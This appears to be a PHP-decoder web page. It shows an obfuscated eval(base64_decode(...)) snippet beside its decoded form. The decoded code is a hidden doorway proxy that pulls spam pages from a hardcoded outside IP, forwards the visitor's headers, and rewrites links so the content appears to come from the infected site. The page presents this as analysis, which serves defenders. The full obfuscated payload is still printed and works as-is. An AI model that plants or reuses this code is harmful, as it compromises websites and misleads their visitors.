Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<? eval(base64_decode("ICR1cmwgPSAiaHR0cDovLzE5Mi45OS4xMy4yMTAvcmVkYnV0dG9uL21haW4yLWRvcnM..

Decoded Output download

 $url = "http://192.99.13.210/redbutton/main2-dors/22m-063-8/"; $e = '.php'; $q = ""; $test = 'suka-test'; if ((!$q || isset($_GET[$q])) && preg_match("/^[^\/][a-z0-9-_\/\.]+$/i", $a = $q ? $_GET[$q] : $_SERVER["QUERY_STRING"])) { if($test && $a == $test) { echo 'OK'; exit; } curl_setopt($ch = curl_init($url.($w=preg_replace("/^([a-z0-9-_]+)(\.php|\.html|\/|)$/i", '$1'.$e, $a, -1, $h))), CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 0); curl_setopt($ch, CURLOPT_USERAGENT, $_SERVER["HTTP_USER_AGENT"]); if (isset($_SERVER["HTTP_REFERER"])) curl_setopt($ch, CURLOPT_REFERER, $_SERVER["HTTP_REFERER"]); $result = curl_exec($ch); if ((($c = curl_getinfo($ch, CURLINFO_HTTP_CODE)) == 301 || $c == 302) && ($u = curl_getinfo($ch, CURLINFO_EFFECTIVE_URL))) { header('Location: ' . $u, true, $c); exit; } else if ($c == 200 && $result) { header('Content-Type: ' . curl_getinfo($ch, CURLINFO_CONTENT_TYPE)); echo ($h || substr($a, -4) == '.css') ? preg_replace('/<a(.*?)href=["\'](' . preg_quote(($t = ((!strncmp($_SERVER["REQUEST_URI"], $t = $_SERVER["SCRIPT_NAME"], strlen($t))) ? ($t . '?' . ($q ? $q . '=' : '' )) : '/' . substr($_SERVER["REQUEST_URI"], 1, -strlen($a))) . ((substr($a, -1) != '/' && ($y = strrpos($a, '/'))) ? substr($a, 0, $y) . '/' : '' )), '/') . '[a-z0-9-_]+)(' . preg_quote($e) . ')["\'](.*?)>/i', '<a$1href="$2' . (($h = strlen($w) - strlen($e) - strlen($a)) < 0 ? substr($a, $h) : "") . '"$4>', preg_replace('/<(a|link|img)(.*?)(href|src)=["\']([^\/][a-z0-9-_\.\/]+)["\'](.*?)>/i', '<$1$2$3="' . $t . '$4"$5>', preg_replace('/background(-image\:|\:)(.*?url\(["\'])([^\/][a-z0-9-_\.\/]+)(["\']\))/i', 'background$1$2' . $t . '$3$4', $result))) : $result; exit; } } header('HTTP/1.0 404 Not Found', true); exit;

Did this file decode correctly?

Original Code

<? eval(base64_decode("ICR1cmwgPSAiaHR0cDovLzE5Mi45OS4xMy4yMTAvcmVkYnV0dG9uL21haW4yLWRvcnMvMjJtLTA2My04LyI7ICRlID0gJy5waHAnOyAkcSA9ICIiOyAkdGVzdCA9ICdzdWthLXRlc3QnOyBpZiAoKCEkcSB8fCBpc3NldCgkX0dFVFskcV0pKSAmJiBwcmVnX21hdGNoKCIvXlteXC9dW2EtejAtOS1fXC9cLl0rJC9pIiwgJGEgPSAkcSA/ICRfR0VUWyRxXSA6ICRfU0VSVkVSWyJRVUVSWV9TVFJJTkciXSkpIHsgaWYoJHRlc3QgJiYgJGEgPT0gJHRlc3QpIHsgZWNobyAnT0snOyBleGl0OyB9IGN1cmxfc2V0b3B0KCRjaCA9IGN1cmxfaW5pdCgkdXJsLigkdz1wcmVnX3JlcGxhY2UoIi9eKFthLXowLTktX10rKShcLnBocHxcLmh0bWx8XC98KSQvaSIsICckMScuJGUsICRhLCAtMSwgJGgpKSksIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOyBjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfSEVBREVSLCAwKTsgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OLCAwKTsgY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VTRVJBR0VOVCwgJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdKTsgaWYgKGlzc2V0KCRfU0VSVkVSWyJIVFRQX1JFRkVSRVIiXSkpIGN1cmxfc2V0b3B0KCRjaCwgQ1VSTE9QVF9SRUZFUkVSLCAkX1NFUlZFUlsiSFRUUF9SRUZFUkVSIl0pOyAkcmVzdWx0ID0gY3VybF9leGVjKCRjaCk7IGlmICgoKCRjID0gY3VybF9nZXRpbmZvKCRjaCwgQ1VSTElORk9fSFRUUF9DT0RFKSkgPT0gMzAxIHx8ICRjID09IDMwMikgJiYgKCR1ID0gY3VybF9nZXRpbmZvKCRjaCwgQ1VSTElORk9fRUZGRUNUSVZFX1VSTCkpKSB7IGhlYWRlcignTG9jYXRpb246ICcgLiAkdSwgdHJ1ZSwgJGMpOyBleGl0OyB9IGVsc2UgaWYgKCRjID09IDIwMCAmJiAkcmVzdWx0KSB7IGhlYWRlcignQ29udGVudC1UeXBlOiAnIC4gY3VybF9nZXRpbmZvKCRjaCwgQ1VSTElORk9fQ09OVEVOVF9UWVBFKSk7IGVjaG8gKCRoIHx8IHN1YnN0cigkYSwgLTQpID09ICcuY3NzJykgPyBwcmVnX3JlcGxhY2UoJy88YSguKj8paHJlZj1bIlwnXSgnIC4gcHJlZ19xdW90ZSgoJHQgPSAoKCFzdHJuY21wKCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLCAkdCA9ICRfU0VSVkVSWyJTQ1JJUFRfTkFNRSJdLCBzdHJsZW4oJHQpKSkgPyAoJHQgLiAnPycgLiAoJHEgPyAkcSAuICc9JyA6ICcnICkpIDogJy8nIC4gc3Vic3RyKCRfU0VSVkVSWyJSRVFVRVNUX1VSSSJdLCAxLCAtc3RybGVuKCRhKSkpIC4gKChzdWJzdHIoJGEsIC0xKSAhPSAnLycgJiYgKCR5ID0gc3RycnBvcygkYSwgJy8nKSkpID8gc3Vic3RyKCRhLCAwLCAkeSkgLiAnLycgOiAnJyApKSwgJy8nKSAuICdbYS16MC05LV9dKykoJyAuIHByZWdfcXVvdGUoJGUpIC4gJylbIlwnXSguKj8pPi9pJywgJzxhJDFocmVmPSIkMicgLiAoKCRoID0gc3RybGVuKCR3KSAtIHN0cmxlbigkZSkgLSBzdHJsZW4oJGEpKSA8IDAgPyBzdWJzdHIoJGEsICRoKSA6ICIiKSAuICciJDQ+JywgcHJlZ19yZXBsYWNlKCcvPChhfGxpbmt8aW1nKSguKj8pKGhyZWZ8c3JjKT1bIlwnXShbXlwvXVthLXowLTktX1wuXC9dKylbIlwnXSguKj8pPi9pJywgJzwkMSQyJDM9IicgLiAkdCAuICckNCIkNT4nLCBwcmVnX3JlcGxhY2UoJy9iYWNrZ3JvdW5kKC1pbWFnZVw6fFw6KSguKj91cmxcKFsiXCddKShbXlwvXVthLXowLTktX1wuXC9dKykoWyJcJ11cKSkvaScsICdiYWNrZ3JvdW5kJDEkMicgLiAkdCAuICckMyQ0JywgJHJlc3VsdCkpKSA6ICRyZXN1bHQ7IGV4aXQ7IH0gfSBoZWFkZXIoJ0hUVFAvMS4wIDQwNCBOb3QgRm91bmQnLCB0cnVlKTsgZXhpdDsg")); ?>

Function Calls

base64_decode 1

Variables

None

Stats

MD5 191ea777e518f49f5a19fd1997691817
Eval Count 1
Decode Time 95 ms